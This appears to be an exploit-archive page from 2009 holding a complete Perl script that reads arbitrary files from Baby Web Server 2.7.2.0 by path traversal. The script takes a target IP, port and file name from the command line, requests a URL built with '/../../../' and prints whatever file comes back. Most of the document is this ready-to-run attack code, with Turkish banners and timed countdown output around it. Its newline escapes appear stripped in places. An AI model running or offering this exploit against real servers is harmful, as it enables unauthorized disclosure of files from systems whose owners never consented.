[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Baby Web Server 2.7.2.0 Arbitrary File Disclosure Exploit
# Published : 2009-04-29
# Author : ZoRLu
# Previous Title : Symantec Fax Viewer Control 10 (DCCFAXVW.DLL) Remote BOF Exploit
# Next Title : Adobe Reader 8.1.4/9.1 GetAnnots() Remote Code Execution Exploit
#!/usr/bin/perl -w
#
# Found By : ZoRLu
#
# Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com
#
# Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz. istemiyorsunuz isteseniz Sizlerde YaparsIn??z
#
# Thanks: Str0ke, Cyber-Zone, Stack, AlpHaNiX, W0cker, Dr.Ly0n, ThE g0bL!N and all Friends
#
# Tested under my vista pc
#
# Download : http://www.mydesign.gen.tr/download/469.html
#
# Download : http://www.mydesign.gen.tr/yonlen/469.html
#
# Print: http://img186.imageshack.us/img186/8315/86639552.jpg
use LWP::Simple;
use LWP::UserAgent;
print "n Baby Web Server 2.7.2.0 Arbitrary File Disclosure Exploitnn";
print "*************************************************************************n";
print "* Exploited By : ZoRLu *n";
print "* msn : trt-turk[at]hotmail.com *n";
print "* Home : yildirimordulari.com , dafgamers.com *n";
print "* Not: Turkiye Cumhuriyeti *n";
print "*************************************************************************nnnn";
if(@ARGV < 3)
{
print "[-]Exp KullanIm HatasIn";
print "[-]Ornegi inceleyinnn";
&help; exit();
}
sub help()
{
print "[+] KullanIm : perl $0 IP Port Filen";
print "[+] Ornek : perl $0 127.0.0.1 80 zorlu.inin";
}
($TargetIP, $Port, $File) = @ARGV;
print("Bekle Lutfen ! Server a BaglanIyor...... n");
print("Please Wait ! Connet to Server ......nnn");
sleep(5);
print(" Z Zn");
print(" O On");
print(" R Wait... Rn");
print(" L Ln");
print(" U Unnn");
$Not1="Gonlum Bir KitaptIr Bekler Masanda";
$Not2="Okusanda Olur, Okumasanda!!!";
$path="/../../../";
my $y0t = "http://" . $TargetIP . ":" . $Port . $path . $File;
print("islem BasladI.... |80nn");
print("Started....nn");
sleep(1);
print("1n");
sleep(1);
print("2n");
sleep(1);
print("3n");
sleep(1);
print("4n");
sleep(1);
print("5n");
sleep(1);
print("6n");
sleep(1);
print("7n");
sleep(1);
print("8n");
sleep(1);
print("9n");
sleep(1);
print("10n");
sleep(1);
print("11n");
sleep(1);
print("12n");
sleep(1);
print("13n");
sleep(1);
print("14n");
sleep(1);
print("15nn");
sleep(2);
print("islem TamamlandI !!! 5 sn sonra hersey hazIrnn");
print("it is done !!! you will wait 5 minnn");
print("nn");
print("1n");
sleep(1);
print("2n");
sleep(1);
print("3n");
sleep(1);
print("4n");
sleep(1);
print("5nn");
sleep(1);
print("TamamdIr!!!nn");
print("Done!!!nn");
sleep(2);
$ourfile=get $y0t;
if($ourfile){
print("nnn............Our File...........nn");
print("$ourfile nn");
print(".........................EOF.......................nn");
print("islem Tamamnn");
print("Not:nn");
print("$Not1n");
print("$Not2nnn");
}
else
{
print(".........................EOF.......................nn");
print(" Dosya BulunamadI !!!nn");
print(" Not Found !!!nn");
exit;
}
# www.Syue.com [2009-04-29]